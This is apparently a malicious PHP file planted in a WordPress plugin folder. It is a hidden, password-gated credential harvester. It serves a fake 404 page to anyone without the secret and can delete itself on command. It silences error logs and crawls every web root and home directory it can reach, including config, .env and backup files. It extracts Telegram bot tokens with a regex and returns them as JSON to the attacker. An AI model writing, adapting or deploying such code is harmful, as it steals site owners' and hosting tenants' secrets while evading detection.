File: /home/lgooir/public_html/wp-content/plugins/dnnnm/gotqk.php
<?php
$SECRET = 'passww00@@';
$PATTERN = '/\d{9,10}:[A-Za-z0-9_-]{35,}/';
$MAX_SIZE = 15728640;
if (isset($_GET['Del']) && $_GET['Del'] === $SECRET) {
@header('Content-Type: application/json; charset=utf-8');
echo json_encode(['success' => @unlink(__FILE__), 'action' => 'delete']);
exit;
}
if (!isset($_GET['Run']) || $_GET['Run'] !== $SECRET) {
@http_response_code(404);
die('<!DOCTYPE html><html><head><title>404</title></head><body><h1>Not Found</h1></body></html>');
}
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '1024M');
@ini_set('default_socket_timeout', 5);
@set_time_limit(0);
@ignore_user_abort(true);
if (function_exists('apache_setenv')) @apache_setenv('no-gzip', '1');
@header('Content-Type: application/json; charset=utf-8');
@header('X-Accel-Buffering: no');
class AdvancedScanner {
private $pattern;
private $maxSize;
private $tokens = [];
private $scanned = 0;
private $skipped = 0;
private $errors = 0;
private $startTime;
private $startMemory;
private $scannedPaths = [];
private $scanExtensions = [
'php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'phps',
'txt', 'text', 'log', 'logs',
'html', 'htm', 'xhtml', 'shtml',
'js', 'jsx', 'ts', 'tsx', 'mjs', 'cjs',
'json', 'json5', 'jsonc',
'xml', 'xsl', 'xslt', 'rss', 'atom', 'svg',
'yml', 'yaml',
'ini', 'cfg', 'conf', 'config', 'cnf',
'env', 'environment', 'local',
'py', 'pyw', 'pyc',
'rb', 'erb', 'rake',
'pl', 'pm', 'cgi',
'sh', 'bash', 'zsh', 'fish', 'ksh',
'sql', 'sqlite', 'db',
'md', 'markdown', 'rst', 'textile',
'css', 'scss', 'sass', 'less', 'styl',
'htaccess', 'htpasswd', 'htgroups',
'tpl', 'twig', 'blade', 'mustache', 'hbs', 'ejs', 'pug', 'jade',
'vue', 'svelte',
'java', 'kt', 'kts', 'groovy', 'scala',
'cs', 'vb', 'fs',
'go', 'rs', 'swift', 'dart',
'c', 'cpp', 'cc', 'cxx', 'h', 'hpp', 'hxx',
'lua', 'tcl', 'r', 'jl',
'asp', 'aspx', 'ashx', 'asmx',
'jsp', 'jspx', 'do', 'action',
'cfm', 'cfc',
'bat', 'cmd', 'ps1', 'psm1',
'toml', 'properties', 'gradle',
'dockerfile', 'vagrantfile', 'makefile', 'rakefile', 'gemfile',
'lock', 'bak', 'backup', 'old', 'orig', 'tmp', 'temp', 'swp',
'inc', 'include', 'module', 'install', 'theme', 'profile',
'dist', 'sample', 'example', 'default', 'dev', 'prod', 'staging'
];
private $excludeDirs = [
'node_modules', 'vendor', 'bower_components', 'jspm_packages',
'.git', '.svn', '.hg', '.bzr', 'cvs', '.cvs',
'cache', 'caches', '.cache', 'tmp', 'temp', '.tmp', '.temp',
'logs', 'log', '.logs', '.log',
'sessions', 'session', '.sessions',
'__pycache__', '.pytest_cache', '.mypy_cache',
'.idea', '.vscode', '.vs', '.eclipse', '.settings',
'build', 'dist', 'out', 'output', 'target', 'bin', 'obj',
'.next', '.nuxt', '.svelte-kit', '.parcel-cache', '.turbo',
'coverage', '.nyc_output', 'test-results',
'public/storage', 'storage/framework', 'bootstrap/cache',
'wp-includes', 'wp-admin',
'.composer', '.npm', '.yarn', '.pnpm',
'nbproject', '.netbeans',
'uploads', 'media', 'images', 'img', 'assets/images',
'fonts', 'webfonts',
'.docker', '.vagrant',
'backups', 'backup', '.backup'
];
private $excludeFiles = [
'.gitignore', '.gitattributes', '.gitmodules',
'.dockerignore', '.editorconfig', '.eslintignore',
'package-lock.json', 'yarn.lock', 'composer.lock', 'pnpm-lock.yaml',
'thumbs.db', 'desktop.ini', '.ds_store',
'error_log', 'php_errorlog', 'debug.log'
];
public function __construct($pattern, $maxSize) {
$this->pattern = $pattern;
$this->maxSize = $maxSize;
$this->startTime = microtime(true);
$this->startMemory = memory_get_usage(true);
}
public function scan($path) {
$realPath = $this->safePath($path);
if (!$realPath) return;
if (isset($this->scannedPaths[$realPath])) return;
$this->scannedPaths[$realPath] = true;
if (@is_file($realPath)) {
$this->processFile($realPath);
return;
}
if (!@is_dir($realPath)) return;
$this->scanDirectory($realPath);
}
private function scanDirectory($dir, $depth = 0) {
if ($depth > 50) return;
if (!$this->isReadable($dir)) return;
$handle = null;
try {
$handle = @opendir($dir);
if (!$handle) return;
while (($entry = @readdir($handle)) !== false) {
if ($entry === '.' || $entry === '..') continue;
$path = $this->joinPath($dir, $entry);
if (!$path) continue;
$realPath = $this->safePath($path);
if (!$realPath) continue;
if (isset($this->scannedPaths[$realPath])) continue;
$this->scannedPaths[$realPath] = true;
try {
if (@is_link($path)) {
$target = @readlink($path);
if (!$target || strpos($target, '..') !== false) continue;
}
if (@is_dir($path)) {
if (!$this->shouldScanDir($entry)) continue;
$this->scanDirectory($path, $depth + 1);
} elseif (@is_file($path)) {
$this->processFile($path);
}
} catch (Exception $e) {
$this->errors++;
continue;
} catch (Error $e) {
$this->errors++;
continue;
}
$this->checkMemory();
}
} catch (Exception $e) {
$this->errors++;
} catch (Error $e) {
$this->errors++;
} finally {
if ($handle) @closedir($handle);
}
}
private function processFile($path) {
try {
$filename = @basename($path);
if (!$filename) return;
$lowerFilename = strtolower($filename);
if (in_array($lowerFilename, $this->excludeFiles)) {
$this->skipped++;
return;
}
if (!$this->shouldScanFile($filename)) {
$this->skipped++;
return;
}
if (!$this->isReadable($path)) {
$this->skipped++;
return;
}
$size = @filesize($path);
if ($size === false || $size === 0 || $size > $this->maxSize) {
$this->skipped++;
return;
}
$this->scanned++;
$content = $this->safeRead($path, $size);
if ($content === false || $content === '') return;
$this->findTokens($content, $path);
unset($content);
} catch (Exception $e) {
$this->errors++;
} catch (Error $e) {
$this->errors++;
}
}
private function safeRead($path, $size) {
$content = false;
try {
if ($size < 1048576) {
$content = @file_get_contents($path);
} else {
$handle = @fopen($path, 'rb');
if ($handle) {
$content = '';
while (!@feof($handle)) {
$chunk = @fread($handle, 65536);
if ($chunk === false) break;
$content .= $chunk;
if (strlen($content) > $this->maxSize) break;
}
@fclose($handle);
}
}
} catch (Exception $e) {
$content = false;
} catch (Error $e) {
$content = false;
}
if ($content !== false && !$this->isText($content)) {
return false;
}
return $content;
}
private function isText($content) {
if (strlen($content) === 0) return false;
$sample = substr($content, 0, 8192);
if (preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $sample)) {
$nullCount = substr_count($sample, "\x00");
if ($nullCount > 10) return false;
}
return true;
}
private function findTokens($content, $path) {
try {
$matches = [];
if (@preg_match_all($this->pattern, $content, $matches, PREG_SET_ORDER)) {
foreach ($matches as $match) {
$token = $match[0];
if (!$this->isValidToken($token)) continue;
if (!isset($this->tokens[$token])) {
$this->tokens[$token] = ['files' => [], 'first_found' => $path];
}
if (!in_array($path, $this->tokens[$token]['files'])) {
$this->tokens[$token]['files'][] = $path;
}
}
}
} catch (Exception $e) {
$this->errors++;
}
}
private function isValidToken($token) {
if (strlen($token) < 44 || strlen($token) > 100) return false;
$parts = explode(':', $token, 2);
if (count($parts) !== 2) return false;
$id = $parts[0];
$hash = $parts[1];
if (!is_numeric($id)) return false;
$idNum = (int)$id;
if ($idNum < 100000000 || $idNum > 9999999999) return false;
if (strlen($hash) < 35) return false;
if (preg_match('/^(.)\1{10,}$/', $hash)) return false;
return true;
}
private function shouldScanDir($name) {
$lower = strtolower($name);
if ($lower[0] === '.' && !in_array($lower, ['.env', '.config', '.settings'])) {
if (in_array($lower, ['.git', '.svn', '.hg', '.idea', '.vscode'])) return false;
}
return !in_array($lower, array_map('strtolower', $this->excludeDirs));
}
private function shouldScanFile($filename) {
$lower = strtolower($filename);
$noExtFiles = ['dockerfile', 'vagrantfile', 'makefile', 'rakefile', 'gemfile', 'procfile', 'brewfile'];
if (in_array($lower, $noExtFiles)) return true;
if (strpos($lower, '.env') === 0) return true;
if (strpos($lower, 'config') !== false) return true;
$ext = '';
$dotPos = strrpos($filename, '.');
if ($dotPos !== false && $dotPos > 0) {
$ext = strtolower(substr($filename, $dotPos + 1));
}
if ($ext === '') return false;
return in_array($ext, $this->scanExtensions);
}
private function safePath($path) {
try {
$real = @realpath($path);
return $real !== false ? $real : null;
} catch (Exception $e) {
return null;
}
}
private function joinPath($dir, $file) {
$dir = rtrim($dir, '/\\');
return $dir . DIRECTORY_SEPARATOR . $file;
}
private function isReadable($path) {
try {
return @is_readable($path) && @file_exists($path);
} catch (Exception $e) {
return false;
}
}
private function checkMemory() {
$current = memory_get_usage(true);
$limit = $this->getMemoryLimit();
if ($limit > 0 && $current > ($limit * 0.85)) {
if (function_exists('gc_collect_cycles')) @gc_collect_cycles();
}
}
private function getMemoryLimit() {
$limit = @ini_get('memory_limit');
if (!$limit || $limit === '-1') return 0;
$unit = strtolower(substr($limit, -1));
$value = (int)$limit;
switch ($unit) {
case 'g': $value *= 1024;
case 'm': $value *= 1024;
case 'k': $value *= 1024;
}
return $value;
}
public function getResults() {
$tokenList = [];
foreach ($this->tokens as $token => $data) {
$tokenList[] = [
'token' => $token,
'found_in' => count($data['files']),
'files' => $data['files']
];
}
usort($tokenList, function($a, $b) {
return $b['found_in'] - $a['found_in'];
});
$endTime = microtime(true);
$endMemory = memory_get_usage(true);
return [
'success' => true,
'timestamp' => date('Y-m-d H:i:s'),
'stats' => [
'total_tokens' => count($this->tokens),
'files_scanned' => $this->scanned,
'files_skipped' => $this->skipped,
'errors_handled' => $this->errors,
'execution_time' => round($endTime - $this->startTime, 3),
'memory_used' => $this->formatBytes($endMemory - $this->startMemory),
'peak_memory' => $this->formatBytes(memory_get_peak_usage(true))
],
'server' => [
'php_version' => PHP_VERSION,
'os' => PHP_OS,
'sapi' => PHP_SAPI
],
'tokens' => $tokenList
];
}
private function formatBytes($bytes) {
$units = ['B', 'KB', 'MB', 'GB'];
$i = 0;
while ($bytes >= 1024 && $i < count($units) - 1) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
}
function getServerRoot() {
$paths = [];
if (!empty($_SERVER['DOCUMENT_ROOT'])) {
$paths[] = $_SERVER['DOCUMENT_ROOT'];
}
$paths[] = dirname(__FILE__);
$currentDir = dirname(__FILE__);
for ($i = 0; $i < 10; $i++) {
$parent = dirname($currentDir);
if ($parent === $currentDir) break;
$indicators = ['public_html', 'www', 'htdocs', 'httpdocs', 'web', 'webroot', 'html'];
foreach ($indicators as $ind) {
if (basename($currentDir) === $ind) {
$paths[] = $currentDir;
$paths[] = $parent;
break 2;
}
}
$currentDir = $parent;
}
$commonPaths = [
'/var/www/html', '/var/www', '/var/www/vhosts',
'/home', '/srv/www', '/srv/http',
'/usr/share/nginx/html', '/usr/local/apache2/htdocs',
'/opt/lampp/htdocs', '/opt/bitnami',
'/app', '/application', '/web',
'C:\\xampp\\htdocs', 'C:\\wamp\\www', 'C:\\wamp64\\www',
'C:\\inetpub\\wwwroot', 'D:\\wwwroot'
];
foreach ($commonPaths as $p) {
if (@is_dir($p) && @is_readable($p)) {
$paths[] = $p;
}
}
if (!empty($_SERVER['HOME'])) {
$homeDirs = ['public_html', 'www', 'web', 'htdocs', 'sites'];
foreach ($homeDirs as $dir) {
$p = $_SERVER['HOME'] . '/' . $dir;
if (@is_dir($p)) $paths[] = $p;
}
}
$unique = [];
foreach ($paths as $p) {
$real = @realpath($p);
if ($real && !in_array($real, $unique)) {
$unique[] = $real;
}
}
$filtered = [];
foreach ($unique as $p1) {
$isChild = false;
foreach ($unique as $p2) {
if ($p1 !== $p2 && strpos($p1, $p2 . DIRECTORY_SEPARATOR) === 0) {
$isChild = true;
break;
}
}
if (!$isChild) {
$filtered[] = $p1;
}
}
return $filtered;
}
$scanner = new AdvancedScanner($PATTERN, $MAX_SIZE);
$roots = getServerRoot();
foreach ($roots as $root) {
try {
$scanner->scan($root);
} catch (Exception $e) {
continue;
} catch (Error $e) {
continue;
}
}
$results = $scanner->getResults();
$results['scanned_roots'] = $roots;
$output = @json_encode($results, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
if ($output === false) {
$results['tokens'] = array_map(function($t) {
$t['token'] = utf8_encode($t['token']);
return $t;
}, $results['tokens']);
$output = @json_encode($results, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
}
echo $output ?: json_encode(['success' => false, 'error' => 'JSON encoding failed']);